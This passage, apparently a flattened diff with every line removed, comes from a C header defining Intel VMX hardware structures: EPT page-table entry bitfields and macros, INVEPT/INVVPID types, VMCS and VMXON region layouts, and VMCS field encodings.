of an EPT Page-Directory Entry (PDE) that Maps a 2-MByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 2-MByte page referenced by this entry. - */ - uint64_t read_access : 1; -#define EPDE_2MB_READ_ACCESS_BIT 0 -#define EPDE_2MB_READ_ACCESS_FLAG 0x01 -#define EPDE_2MB_READ_ACCESS_MASK 0x01 -#define EPDE_2MB_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 2-MByte page referenced by this entry. - */ - uint64_t write_access : 1; -#define EPDE_2MB_WRITE_ACCESS_BIT 1 -#define EPDE_2MB_WRITE_ACCESS_FLAG 0x02 -#define EPDE_2MB_WRITE_ACCESS_MASK 0x01 -#define EPDE_2MB_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 2-MByte page controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 2-MByte page controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPDE_2MB_EXECUTE_ACCESS_BIT 2 -#define EPDE_2MB_EXECUTE_ACCESS_FLAG 0x04 -#define EPDE_2MB_EXECUTE_ACCESS_MASK 0x01 -#define EPDE_2MB_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bits 5:3] EPT memory type for this 2-MByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t memory_type : 3; -#define EPDE_2MB_MEMORY_TYPE_BIT 3 -#define EPDE_2MB_MEMORY_TYPE_FLAG 0x38 -#define EPDE_2MB_MEMORY_TYPE_MASK 0x07 -#define EPDE_2MB_MEMORY_TYPE(_) (((_) >> 3) & 0x07) - - /** - * [Bit 6] Ignore PAT memory type for this 2-MByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t ignore_pat : 1; -#define EPDE_2MB_IGNORE_PAT_BIT 6 -#define EPDE_2MB_IGNORE_PAT_FLAG 0x40 -#define EPDE_2MB_IGNORE_PAT_MASK 0x01 -#define EPDE_2MB_IGNORE_PAT(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Must be 1 (otherwise, this entry references an EPT page table). - */ - uint64_t large_page : 1; -#define EPDE_2MB_LARGE_PAGE_BIT 7 -#define EPDE_2MB_LARGE_PAGE_FLAG 0x80 -#define EPDE_2MB_LARGE_PAGE_MASK 0x01 -#define EPDE_2MB_LARGE_PAGE(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 2-MByte page - * referenced by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPDE_2MB_ACCESSED_BIT 8 -#define EPDE_2MB_ACCESSED_FLAG 0x100 -#define EPDE_2MB_ACCESSED_MASK 0x01 -#define EPDE_2MB_ACCESSED(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 2-MByte page referenced - * by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t dirty : 1; -#define EPDE_2MB_DIRTY_BIT 9 -#define EPDE_2MB_DIRTY_FLAG 0x200 -#define EPDE_2MB_DIRTY_MASK 0x01 -#define EPDE_2MB_DIRTY(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 2-MByte page controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPDE_2MB_USER_MODE_EXECUTE_BIT 10 -#define EPDE_2MB_USER_MODE_EXECUTE_FLAG 0x400 -#define EPDE_2MB_USER_MODE_EXECUTE_MASK 0x01 -#define EPDE_2MB_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved1 : 10; - - /** - * [Bits 47:21] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. - */ - uint64_t page_frame_number : 27; -#define EPDE_2MB_PAGE_FRAME_NUMBER_BIT 21 -#define EPDE_2MB_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFE00000 -#define EPDE_2MB_PAGE_FRAME_NUMBER_MASK 0x7FFFFFF -#define EPDE_2MB_PAGE_FRAME_NUMBER(_) (((_) >> 21) & 0x7FFFFFF) - uint64_t reserved2 : 15; - - /** - * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this - * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is - * 0, this bit is ignored. - * - * @see Vol3C[25.5.6.1(Convertible EPT Violations)] - */ - uint64_t suppress_ve : 1; -#define EPDE_2MB_SUPPRESS_VE_BIT 63 -#define EPDE_2MB_SUPPRESS_VE_FLAG 0x8000000000000000 -#define EPDE_2MB_SUPPRESS_VE_MASK 0x01 -#define EPDE_2MB_SUPPRESS_VE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} epde_2mb; - -/** - * @brief Format of an EPT Page-Directory Entry (PDE) that References an EPT Page Table - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 2-MByte region controlled by this entry. - */ - uint64_t read_access : 1; -#define EPDE_READ_ACCESS_BIT 0 -#define EPDE_READ_ACCESS_FLAG 0x01 -#define EPDE_READ_ACCESS_MASK 0x01 -#define EPDE_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 2-MByte region controlled by this entry. - */ - uint64_t write_access : 1; -#define EPDE_WRITE_ACCESS_BIT 1 -#define EPDE_WRITE_ACCESS_FLAG 0x02 -#define EPDE_WRITE_ACCESS_MASK 0x01 -#define EPDE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 2-MByte region controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 2-MByte region controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPDE_EXECUTE_ACCESS_BIT 2 -#define EPDE_EXECUTE_ACCESS_FLAG 0x04 -#define EPDE_EXECUTE_ACCESS_MASK 0x01 -#define EPDE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 5; - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 2-MByte region - * controlled by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPDE_ACCESSED_BIT 8 -#define EPDE_ACCESSED_FLAG 0x100 -#define EPDE_ACCESSED_MASK 0x01 -#define EPDE_ACCESSED(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 2-MByte region controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPDE_USER_MODE_EXECUTE_BIT 10 -#define EPDE_USER_MODE_EXECUTE_FLAG 0x400 -#define EPDE_USER_MODE_EXECUTE_MASK 0x01 -#define EPDE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved3 : 1; - - /** - * [Bits 47:12] Physical address of 4-KByte aligned EPT page table referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define EPDE_PAGE_FRAME_NUMBER_BIT 12 -#define EPDE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPDE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPDE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved4 : 16; - }; - - uint64_t flags; -} epde; - -/** - * @brief Format of an EPT Page-Table Entry that Maps a 4-KByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Read access; indicates whether reads are allowed from the 4-KByte page referenced by this entry. - */ - uint64_t read_access : 1; -#define EPTE_READ_ACCESS_BIT 0 -#define EPTE_READ_ACCESS_FLAG 0x01 -#define EPTE_READ_ACCESS_MASK 0x01 -#define EPTE_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Write access; indicates whether writes are allowed from the 4-KByte page referenced by this entry. - */ - uint64_t write_access : 1; -#define EPTE_WRITE_ACCESS_BIT 1 -#define EPTE_WRITE_ACCESS_FLAG 0x02 -#define EPTE_WRITE_ACCESS_MASK 0x01 -#define EPTE_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 4-KByte page controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 4-KByte page controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPTE_EXECUTE_ACCESS_BIT 2 -#define EPTE_EXECUTE_ACCESS_FLAG 0x04 -#define EPTE_EXECUTE_ACCESS_MASK 0x01 -#define EPTE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bits 5:3] EPT memory type for this 4-KByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t memory_type : 3; -#define EPTE_MEMORY_TYPE_BIT 3 -#define EPTE_MEMORY_TYPE_FLAG 0x38 -#define EPTE_MEMORY_TYPE_MASK 0x07 -#define EPTE_MEMORY_TYPE(_) (((_) >> 3) & 0x07) - - /** - * [Bit 6] Ignore PAT memory type for this 4-KByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t ignore_pat : 1; -#define EPTE_IGNORE_PAT_BIT 6 -#define EPTE_IGNORE_PAT_FLAG 0x40 -#define EPTE_IGNORE_PAT_MASK 0x01 -#define EPTE_IGNORE_PAT(_) (((_) >> 6) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 4-KByte page - * referenced by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPTE_ACCESSED_BIT 8 -#define EPTE_ACCESSED_FLAG 0x100 -#define EPTE_ACCESSED_MASK 0x01 -#define EPTE_ACCESSED(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 4-KByte page referenced - * by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t dirty : 1; -#define EPTE_DIRTY_BIT 9 -#define EPTE_DIRTY_FLAG 0x200 -#define EPTE_DIRTY_MASK 0x01 -#define EPTE_DIRTY(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 4-KByte page controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPTE_USER_MODE_EXECUTE_BIT 10 -#define EPTE_USER_MODE_EXECUTE_FLAG 0x400 -#define EPTE_USER_MODE_EXECUTE_MASK 0x01 -#define EPTE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define EPTE_PAGE_FRAME_NUMBER_BIT 12 -#define EPTE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPTE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPTE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved3 : 15; - - /** - * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this - * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is - * 0, this bit is ignored. - * - * @see Vol3C[25.5.6.1(Convertible EPT Violations)] - */ - uint64_t suppress_ve : 1; -#define EPTE_SUPPRESS_VE_BIT 63 -#define EPTE_SUPPRESS_VE_FLAG 0x8000000000000000 -#define EPTE_SUPPRESS_VE_MASK 0x01 -#define EPTE_SUPPRESS_VE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} epte; - -/** - * @brief Format of a common EPT Entry - */ -typedef union -{ - struct - { - uint64_t read_access : 1; -#define EPT_ENTRY_READ_ACCESS_BIT 0 -#define EPT_ENTRY_READ_ACCESS_FLAG 0x01 -#define EPT_ENTRY_READ_ACCESS_MASK 0x01 -#define EPT_ENTRY_READ_ACCESS(_) (((_) >> 0) & 0x01) - uint64_t write_access : 1; -#define EPT_ENTRY_WRITE_ACCESS_BIT 1 -#define EPT_ENTRY_WRITE_ACCESS_FLAG 0x02 -#define EPT_ENTRY_WRITE_ACCESS_MASK 0x01 -#define EPT_ENTRY_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - uint64_t execute_access : 1; -#define EPT_ENTRY_EXECUTE_ACCESS_BIT 2 -#define EPT_ENTRY_EXECUTE_ACCESS_FLAG 0x04 -#define EPT_ENTRY_EXECUTE_ACCESS_MASK 0x01 -#define EPT_ENTRY_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - uint64_t memory_type : 3; -#define EPT_ENTRY_MEMORY_TYPE_BIT 3 -#define EPT_ENTRY_MEMORY_TYPE_FLAG 0x38 -#define EPT_ENTRY_MEMORY_TYPE_MASK 0x07 -#define EPT_ENTRY_MEMORY_TYPE(_) (((_) >> 3) & 0x07) - uint64_t ignore_pat : 1; -#define EPT_ENTRY_IGNORE_PAT_BIT 6 -#define EPT_ENTRY_IGNORE_PAT_FLAG 0x40 -#define EPT_ENTRY_IGNORE_PAT_MASK 0x01 -#define EPT_ENTRY_IGNORE_PAT(_) (((_) >> 6) & 0x01) - uint64_t large_page : 1; -#define EPT_ENTRY_LARGE_PAGE_BIT 7 -#define EPT_ENTRY_LARGE_PAGE_FLAG 0x80 -#define EPT_ENTRY_LARGE_PAGE_MASK 0x01 -#define EPT_ENTRY_LARGE_PAGE(_) (((_) >> 7) & 0x01) - uint64_t accessed : 1; -#define EPT_ENTRY_ACCESSED_BIT 8 -#define EPT_ENTRY_ACCESSED_FLAG 0x100 -#define EPT_ENTRY_ACCESSED_MASK 0x01 -#define EPT_ENTRY_ACCESSED(_) (((_) >> 8) & 0x01) - uint64_t dirty : 1; -#define EPT_ENTRY_DIRTY_BIT 9 -#define EPT_ENTRY_DIRTY_FLAG 0x200 -#define EPT_ENTRY_DIRTY_MASK 0x01 -#define EPT_ENTRY_DIRTY(_) (((_) >> 9) & 0x01) - uint64_t user_mode_execute : 1; -#define EPT_ENTRY_USER_MODE_EXECUTE_BIT 10 -#define EPT_ENTRY_USER_MODE_EXECUTE_FLAG 0x400 -#define EPT_ENTRY_USER_MODE_EXECUTE_MASK 0x01 -#define EPT_ENTRY_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved1 : 1; - uint64_t page_frame_number : 36; -#define EPT_ENTRY_PAGE_FRAME_NUMBER_BIT 12 -#define EPT_ENTRY_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPT_ENTRY_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPT_ENTRY_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 15; - uint64_t suppress_ve : 1; -#define EPT_ENTRY_SUPPRESS_VE_BIT 63 -#define EPT_ENTRY_SUPPRESS_VE_FLAG 0x8000000000000000 -#define EPT_ENTRY_SUPPRESS_VE_MASK 0x01 -#define EPT_ENTRY_SUPPRESS_VE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ept_entry; - -/** - * @defgroup ept_table_level \ - * EPT Table level numbers - * - * EPT Table level numbers. - * @{ - */ -#define EPT_LEVEL_PML4E 0x00000003 -#define EPT_LEVEL_PDPTE 0x00000002 -#define EPT_LEVEL_PDE 0x00000001 -#define EPT_LEVEL_PTE 0x00000000 - /** - * @} - */ - - /** - * @defgroup ept_entry_count \ - * EPT Entry counts - * - * EPT Entry counts. - * @{ - */ -#define EPT_PML4E_ENTRY_COUNT 0x00000200 -#define EPT_PDPTE_ENTRY_COUNT 0x00000200 -#define EPT_PDE_ENTRY_COUNT 0x00000200 -#define EPT_PTE_ENTRY_COUNT 0x00000200 - /** - * @} - */ - - /** - * @} - */ - -typedef enum -{ - /** - * If the INVEPT type is 1, the logical processor invalidates all guest-physical mappings and combined mappings associated - * with the EP4TA specified in the INVEPT descriptor. Combined mappings for that EP4TA are invalidated for all VPIDs and - * all PCIDs. (The instruction may invalidate mappings associated with other EP4TAs.) - */ - invept_single_context = 0x00000001, - - /** - * If the INVEPT type is 2, the logical processor invalidates guest-physical mappings and combined mappings associated with - * all EP4TAs (and, for combined mappings, for all VPIDs and PCIDs). - */ - invept_all_context = 0x00000002, -} invept_type; - -typedef enum -{ - /** - * If the INVVPID type is 0, the logical processor invalidates linear mappings and combined mappings associated with the - * VPID specified in the INVVPID descriptor and that would be used to translate the linear address specified in of the - * INVVPID descriptor. Linear mappings and combined mappings for that VPID and linear address are invalidated for all PCIDs - * and, for combined mappings, all EP4TAs. (The instruction may also invalidate mappings associated with other VPIDs and - * for other linear addresses). - */ - invvpid_individual_address = 0x00000000, - - /** - * If the INVVPID type is 1, the logical processor invalidates all linear mappings and combined mappings associated with - * the VPID specified in the INVVPID descriptor. Linear mappings and combined mappings for that VPID are invalidated for - * all PCIDs and, for combined mappings, all EP4TAs. (The instruction may also invalidate mappings associated with other - * VPIDs). - */ - invvpid_single_context = 0x00000001, - - /** - * If the INVVPID type is 2, the logical processor invalidates linear mappings and combined mappings associated with all - * VPIDs except VPID 0000H and with all PCIDs. (The instruction may also invalidate linear mappings with VPID 0000H.) - * Combined mappings are invalidated for all EP4TAs. - */ - invvpid_all_context = 0x00000002, - - /** - * If the INVVPID type is 3, the logical processor invalidates linear mappings and combined mappings associated with the - * VPID specified in the INVVPID descriptor. Linear mappings and combined mappings for that VPID are invalidated for all - * PCIDs and, for combined mappings, all EP4TAs. The logical processor is not required to invalidate information that was - * used for global translations (although it may do so). (The instruction may also invalidate mappings associated with - * other VPIDs). - * - * @see Vol3C[4.10(Caching Translation Information)] - */ - invvpid_single_context_retaining_globals = 0x00000003, -} invvpid_type; - -typedef struct -{ - uint64_t ept_pointer; - - /** - * Must be zero. - */ - uint64_t reserved; -} invept_descriptor; - -typedef struct -{ - uint16_t vpid; - - /** - * Must be zero. - */ - uint16_t reserved1; - - /** - * Must be zero. - */ - uint32_t reserved2; - uint64_t linear_address; -} invvpid_descriptor; - -/** - * @brief Format of the VMCS Region - * - * A logical processor uses virtual-machine control data structures (VMCSs) while it is in VMX operation. These manage - * transitions into and out of VMX non-root operation (VM entries and VM exits) as well as processor behavior in VMX - * non-root operation. This structure is manipulated by the new instructions VMCLEAR, VMPTRLD, VMREAD, and VMWRITE. - * A VMCS region comprises up to 4-KBytes. The exact size is implementation specific and can be determined by consulting - * the VMX capability MSR IA32_VMX_BASIC. - * - * @see Vol3C[24.2(FORMAT OF THE VMCS REGION)] (reference) - */ -typedef struct -{ - struct - { - /** - * @brief VMCS revision identifier - * - * [Bits 30:0] Processors that maintain VMCS data in different formats (see below) use different VMCS revision identifiers. - * These identifiers enable software to avoid using a VMCS region formatted for one processor on a processor that uses a - * different format. - * Software should write the VMCS revision identifier to the VMCS region before using that region for a VMCS. The VMCS - * revision identifier is never written by the processor; VMPTRLD fails if its operand references a VMCS region whose VMCS - * revision identifier differs from that used by the processor. - * Software can discover the VMCS revision identifier that a processor uses by reading the VMX capability MSR - * IA32_VMX_BASIC. - * - * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] - * @see Vol3D[A.1(BASIC VMX INFORMATION)] - */ - uint32_t revision_id : 31; - - /** - * @brief Shadow-VMCS indicator - * - * [Bit 31] Software should clear or set the shadow-VMCS indicator depending on whether the VMCS is to be an ordinary VMCS - * or a shadow VMCS. VMPTRLD fails if the shadow-VMCS indicator is set and the processor does not support the 1-setting of - * the "VMCS shadowing" VM-execution control. Software can discover support for this setting by reading the VMX capability - * MSR IA32_VMX_PROCBASED_CTLS2. - * - * @see Vol3C[24.10(VMCS TYPES ORDINARY AND SHADOW)] - */ - uint32_t shadow_vmcs_indicator : 1; - }; - - - /** - * @brief VMX-abort indicator - * - * The contents of these bits do not control processor operation in any way. A logical processor writes a non-zero value - * into these bits if a VMX abort occurs. Software may also write into this field. - * - * @see Vol3D[27.7(VMX Aborts)] - */ - uint32_t abort_indicator; - - /** - * @brief VMCS data (implementation-specific format) - * - * These parts of the VMCS control VMX non-root operation and the VMX transitions. - * The format of these data is implementation-specific. To ensure proper behavior in VMX operation, software should - * maintain the VMCS region and related structures in writeback cacheable memory. Future implementations may allow or - * require a different memory type. Software should consult the VMX capability MSR IA32_VMX_BASIC. - * - * @see Vol3C[24.11.4(Software Access to Related Structures)] - * @see Vol3D[A.1(BASIC VMX INFORMATION)] - */ - uint8_t data[4088]; -} vmcs; - -/** - * @brief Format of the VMXON Region - * - * Before executing VMXON, software allocates a region of memory that the logical processor uses to support VMX operation. - * This region is called the VMXON region. - * A VMXON region comprises up to 4-KBytes. The exact size is implementation specific and can be determined by consulting - * the VMX capability MSR IA32_VMX_BASIC. - * - * @see Vol3C[24.11.5(VMXON Region)] (reference) - */ -typedef struct -{ - struct - { - /** - * @brief VMCS revision identifier - * - * [Bits 30:0] Before executing VMXON, software should write the VMCS revision identifier to the VMXON region. - * (Specifically, it should write the 31-bit VMCS revision identifier to bits 30:0 of the first 4 bytes of the VMXON - * region; bit 31 should be cleared to 0.) - * - * @see VMCS - * @see Vol3C[24.2(FORMAT OF THE VMCS REGION)] - * @see Vol3C[24.11.5(VMXON Region)] - */ - uint32_t revision_id : 31; - - /** - * [Bit 31] Bit 31 is always 0. - */ - uint32_t must_be_zero : 1; - }; - - - /** - * @brief VMXON data (implementation-specific format) - * - * The format of these data is implementation-specific. To ensure proper behavior in VMX operation, software should not - * access or modify the VMXON region of a logical processor between execution of VMXON and VMXOFF on that logical - * processor. Doing otherwise may lead to unpredictable behavior. - * - * @see Vol3C[24.11.4(Software Access to Related Structures)] - * @see Vol3D[A.1(BASIC VMX INFORMATION)] - */ - uint8_t data[4092]; -} vmxon; - -/** - * @defgroup vmcs_fields \ - * VMCS (VM Control Structure) - * - * Every component of the VMCS is encoded by a 32-bit field that can be used by VMREAD and VMWRITE. This enumerates all - * fields in the VMCS and their encodings. Fields are grouped by width (16-bit, 32-bit, etc.) and type (guest-state, - * host-state, etc.). - * - * @see Vol3D[B(APPENDIX B FIELD ENCODING IN VMCS)] (reference) - * @{ - */ -typedef union -{ - struct - { - /** - * [Bit 0] Access type (0 = full; 1 = high); must be full for 16-bit, 32-bit, and natural-width fields. - */ - uint16_t access_type : 1; -#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_BIT 0 -#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_FLAG 0x01 -#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_MASK 0x01 -#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE(_) (((_) >> 0) & 0x01) - - /** - * [Bits 9:1] Index. - */ - uint16_t index : 9; -#define VMCS_COMPONENT_ENCODING_INDEX_BIT 1 -#define VMCS_COMPONENT_ENCODING_INDEX_FLAG 0x3FE -#define VMCS_COMPONENT_ENCODING_INDEX_MASK 0x1FF -#define VMCS_COMPONENT_ENCODING_INDEX(_) (((_) >> 1) & 0x1FF) - - /** - * [Bits 11:10] Type: - * 0: control - * 1: VM-exit information - * 2: guest state - * 3: host state - */ - uint16_t type : 2; -#define VMCS_COMPONENT_ENCODING_TYPE_BIT 10 -#define VMCS_COMPONENT_ENCODING_TYPE_FLAG 0xC00 -#define VMCS_COMPONENT_ENCODING_TYPE_MASK 0x03 -#define VMCS_COMPONENT_ENCODING_TYPE(_) (((_) >> 10) & 0x03) - - /** - * [Bit 12] Reserved (must be 0). - */ - uint16_t must_be_zero : 1; -#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_BIT 12 -#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_FLAG 0x1000 -#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_MASK 0x01 -#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO(_) (((_) >> 12) & 0x01) - - /** - * [Bits 14:13] Width: - * 0: 16-bit - * 1: 64-bit - * 2: 32-bit - * 3: natural-width - */ - uint16_t width : 2; -#define VMCS_COMPONENT_ENCODING_WIDTH_BIT 13 -#define VMCS_COMPONENT_ENCODING_WIDTH_FLAG 0x6000 -#define VMCS_COMPONENT_ENCODING_WIDTH_MASK 0x03 -#define VMCS_COMPONENT_ENCODING_WIDTH(_) (((_) >> 13) & 0x03) - uint16_t reserved1 : 1; - }; - - uint16_t flags; -} vmcs_component_encoding; - -/** - * @defgroup vmcs_16_bit \ - * 16-Bit Fields - * - * 16-Bit Fields. - * - * @see Vol3D[B.1(16-BIT FIELDS)] (reference) - * @{ - */ - /** - * @defgroup vmcs_16_bit_control_fields \ - * 16-Bit Control Fields - * - * 16-Bit Control Fields. - * @{ - */ - /** - * Virtual-processor identifier (VPID). - * - * @remarks This field exists only on processors that support the 1-setting of the "enable VPID" VM-execution control. - */ -#define VMCS_CTRL_VIRTUAL_PROCESSOR_IDENTIFIER 0x00000000 - - /** - * Posted-interrupt notification vector. - * - * @remarks This field exists only on processors that support the 1-setting of the "process posted interrupts" VM-execution - * control. - */ -#define VMCS_CTRL_POSTED_INTERRUPT_NOTIFICATION_VECTOR 0x00000002 - - /** - * EPTP index. - * - * @remarks This field exists only on processors that support the 1-setting of the "EPT-violation \#VE" VM-execution - * control. - */ -#define VMCS_CTRL_EPTP_INDEX 0x00000004 - /** - * @} - */ - - /** - * @defgroup vmcs_16_bit_guest_state_fields \ - * 16-Bit Guest-State Fields - * - * 16-Bit Guest-State Fields. - * @{ - */ - /** - * Guest ES selector. - */ -#define VMCS_GUEST_ES_SELECTOR 0x00000800 - - /** - * Guest CS selector. - */ -#define VMCS_GUEST_CS_SELECTOR 0x00000802 - - /** - * Guest SS selector. - */ -#define VMCS_GUEST_SS_SELECTOR 0x00000804 - - /** - * Guest DS selector. - */ -#define VMCS_GUEST_DS_SELECTOR 0x00000806 - - /** - * Guest FS selector. - */ -#define VMCS_GUEST_FS_SELECTOR 0x00000808 - - /** - * Guest GS selector. - */ -#define VMCS_GUEST_GS_SELECTOR 0x0000080A - - /** - * Guest LDTR selector. - */ -#define VMCS_GUEST_LDTR_SELECTOR 0x0000080C - - /** - * Guest TR selector. - */ -#define VMCS_GUEST_TR_SELECTOR 0x0000080E - - /** - * Guest interrupt status. - * - * @remarks This field exists only on processors that support the 1-setting of the "virtual-interrupt delivery" - * VM-execution control. - */ -#define VMCS_GUEST_INTERRUPT_STATUS 0x00000810 - - /** - * PML index. - * - * @remarks This field exists only on processors that support the 1-setting of the "enable PML" VM-execution control. - */ -#define VMCS_GUEST_PML_INDEX 0x00000812 - /** - * @} - */ - - /** - * @defgroup vmcs_16_bit_host_state_fields \ - * 16-Bit Host-State Fields - * - * 16-Bit Host-State Fields. - * @{ - */ - /** - * Host ES selector. - */ -#define VMCS_HOST_ES_SELECTOR 0x00000C00 - - /** - * Host CS selector. - */ -#define VMCS_HOST_CS_SELECTOR 0x00000C02 - - /** - * Host SS selector. - */ -#define VMCS_HOST_SS_SELECTOR 0x00000C04 - - /** - * Host DS selector. - */ -#define VMCS_HOST_DS_SELECTOR 0x00000C06 - - /** - * Host FS selector. - */ -#define VMCS_HOST_FS_SELECTOR 0x00000C08 - - /** - * Host GS selector. - */ -#define VMCS_HOST_GS_SELECTOR 0x00000C0A - - /** - * Host TR selector. - */ -#define VMCS_HOST_TR_SELECTOR 0x00000C0C - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup vmcs_64_bit \ - * 64-Bit Fields - * - * 64-Bit Fields. - * - * @see Vol3D[B.2(64-BIT FIELDS)] (reference) - * @{ - */ - /** - * @defgroup vmcs_64_bit_control_fields \ - * 64-Bit Control Fields - * - * 64-Bit Control Fields. - * @{ - */ - /** - * Address of I/O bitmap A. - */ -#define VMCS_CTRL_IO_BITMAP_A_ADDRESS 0x00002000 - - /** - * Address of I/O bitmap B. - */ -#define VMCS_CTRL_IO_BITMAP_B_ADDRESS 0x00002002 - - /** - * Address of MSR bitmaps. - */ -#define VMCS_CTRL_MSR_BITMAP_ADDRESS 0x00002004 - - /** - * VM-exit MSR-store address. - */ -#define VMCS_CTRL_VMEXIT_MSR_STORE_ADDRESS 0x00002006 - - /** - * VM-exit MSR-load address. - */ -#define VMCS_CTRL_VMEXIT_MSR_LOAD_ADDRESS 0x00002008 - - /** - * VM-entry MSR-load address. - */ -#define VMCS_CTRL_VMENTRY_MSR_LOAD_ADDRESS 0x0000200A - - /** - * Executive-VMCS pointer. - 